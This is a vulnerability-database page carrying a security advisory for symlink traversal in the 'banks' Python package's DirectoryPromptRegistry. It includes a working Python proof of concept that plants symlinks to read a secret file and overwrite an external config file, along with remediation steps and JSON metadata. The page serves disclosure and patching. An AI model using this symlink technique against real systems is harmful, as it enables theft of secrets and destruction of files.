GHSA-556J-VV39-8RQV

Vulnerability from github – Published: 2026-10-08 22:10 – Updated: 2026-10-08 22:10
VLAI
Summary
Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry
Details

Summary

In banks.registries.DirectoryPromptRegistry, prompt file paths and the index file (index.json) do not refuse symbolic links. When a prompt directory contains or accepts untrusted files (e.g. unpacked archives, shared repositories, or multi-tenant folders), symbolic links pointing outside the registry root can be used to disclose arbitrary files via _scan() / get() or overwrite arbitrary files via set() / _save().

Details

Following PR #77, DirectoryPromptRegistry validates path resolution for prompt names. However: 1. self._index_path (index.json) is not checked for symbolic links. A symlink pointing to an external target (e.g. a configuration file) will be overwritten by _save() upon reg.set(), or read via _load(). 2. In _scan(), discovered .jinja files are opened and indexed without checking if path.is_symlink() or if the resolved path escapes the registry root. A symlink pointing to a sensitive file outside the root is read and indexed. 3. In set(), prompt_file.write_text(...) is called without checking if prompt_file is an existing symbolic link pointing outside the root.

Impact

Arbitrary file disclosure (CWE-59 / CWE-200) and arbitrary file overwrite (CWE-59) in applications where prompt directories can be influenced by untrusted users or extracted from archives.

Proof of Concept

import os
from pathlib import Path
from banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME
from banks.prompt import Prompt

# Disclose external file via symlink in prompt directory
reg_dir = Path("/tmp/registry")
reg_dir.mkdir(exist_ok=True)
secret = Path("/tmp/secret.txt")
secret.write_text("SECRET_API_TOKEN")

os.symlink(secret, reg_dir / "leak.0.jinja")
reg = DirectoryPromptRegistry(reg_dir, force_reindex=True)
print("Disclosed content:", reg.get(name="leak", version="0").raw)

# Overwrite external file via symlink index
target = Path("/tmp/target.conf")
target.write_text("ORIGINAL")
(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)
os.symlink(target, reg_dir / DEFAULT_INDEX_NAME)
reg.set(prompt=Prompt("pwn", name="test", version="1"))
print("Target overwritten:", target.read_text())

Remediation

  1. In _validate_index_path(): verify _index_path is not a symlink and resolves within _path.
  2. In _scan(): reject path.is_symlink() and check path.resolve().is_relative_to(root).
  3. In set(): reject existing symbolic links before writing.

A tested fix and regression tests have been prepared and pushed to: https://github.com/jankesec/banks/tree/fix-directory-registry-symlinks-and-nesting

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.5.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "banks"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107716"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T22:10:07Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nIn `banks.registries.DirectoryPromptRegistry`, prompt file paths and the index file (`index.json`) do not refuse symbolic links. When a prompt directory contains or accepts untrusted files (e.g. unpacked archives, shared repositories, or multi-tenant folders), symbolic links pointing outside the registry root can be used to disclose arbitrary files via `_scan()` / `get()` or overwrite arbitrary files via `set()` / `_save()`.\n\n### Details\nFollowing PR #77, `DirectoryPromptRegistry` validates path resolution for prompt names. However:\n1. `self._index_path` (`index.json`) is not checked for symbolic links. A symlink pointing to an external target (e.g. a configuration file) will be overwritten by `_save()` upon `reg.set()`, or read via `_load()`.\n2. In `_scan()`, discovered `.jinja` files are opened and indexed without checking if `path.is_symlink()` or if the resolved path escapes the registry root. A symlink pointing to a sensitive file outside the root is read and indexed.\n3. In `set()`, `prompt_file.write_text(...)` is called without checking if `prompt_file` is an existing symbolic link pointing outside the root.\n\n### Impact\nArbitrary file disclosure (CWE-59 / CWE-200) and arbitrary file overwrite (CWE-59) in applications where prompt directories can be influenced by untrusted users or extracted from archives.\n\n### Proof of Concept\n```python\nimport os\nfrom pathlib import Path\nfrom banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME\nfrom banks.prompt import Prompt\n\n# Disclose external file via symlink in prompt directory\nreg_dir = Path(\"/tmp/registry\")\nreg_dir.mkdir(exist_ok=True)\nsecret = Path(\"/tmp/secret.txt\")\nsecret.write_text(\"SECRET_API_TOKEN\")\n\nos.symlink(secret, reg_dir / \"leak.0.jinja\")\nreg = DirectoryPromptRegistry(reg_dir, force_reindex=True)\nprint(\"Disclosed content:\", reg.get(name=\"leak\", version=\"0\").raw)\n\n# Overwrite external file via symlink index\ntarget = Path(\"/tmp/target.conf\")\ntarget.write_text(\"ORIGINAL\")\n(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)\nos.symlink(target, reg_dir / DEFAULT_INDEX_NAME)\nreg.set(prompt=Prompt(\"pwn\", name=\"test\", version=\"1\"))\nprint(\"Target overwritten:\", target.read_text())\n```\n\n### Remediation\n1. In `_validate_index_path()`: verify `_index_path` is not a symlink and resolves within `_path`.\n2. In `_scan()`: reject `path.is_symlink()` and check `path.resolve().is_relative_to(root)`.\n3. In `set()`: reject existing symbolic links before writing.\n\nA tested fix and regression tests have been prepared and pushed to:\nhttps://github.com/jankesec/banks/tree/fix-directory-registry-symlinks-and-nesting",
  "id": "GHSA-556j-vv39-8rqv",
  "modified": "2026-10-08T22:10:07Z",
  "published": "2026-10-08T22:10:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/masci/banks/security/advisories/GHSA-556j-vv39-8rqv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/masci/banks/pull/79"
    },
    {
      "type": "WEB",
      "url": "https://github.com/masci/banks/commit/23ed13e50b4e217693fa5f9c30943fac8a41582f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/masci/banks"
    },
    {
      "type": "WEB",
      "url": "https://github.com/masci/banks/releases/tag/v2.5.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…